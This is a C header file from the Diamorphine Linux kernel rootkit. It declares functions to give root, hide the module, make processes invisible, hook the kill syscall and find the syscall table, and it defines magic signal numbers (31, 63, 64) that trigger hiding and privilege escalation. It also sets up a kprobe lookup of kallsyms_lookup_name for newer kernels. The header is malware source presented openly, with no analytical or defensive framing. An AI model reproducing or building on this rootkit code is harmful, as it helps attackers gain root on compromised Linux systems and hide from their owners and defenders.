unsigned long *
get_syscall_table_bf(void);

struct task_struct *
find_task(pid_t pid);
int
is_invisible(pid_t pid);

void
give_root(void);

void
module_show(void);

void
module_hide(void);

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs);
#else
asmlinkage int
hacked_kill(pid_t pid, int sig);
#endif
struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
};

#define MAGIC_PREFIX "diamorphine_secret"

#define PF_INVISIBLE 0x10000000

#define MODULE_NAME "diamorphine"

enum {
	SIGINVIS = 31,
	SIGSUPER = 64,
	SIGMODINVIS = 63,
};

#ifndef IS_ENABLED
#define IS_ENABLED(option) \
(defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
	    .symbol_name = "kallsyms_lookup_name"
};
#endif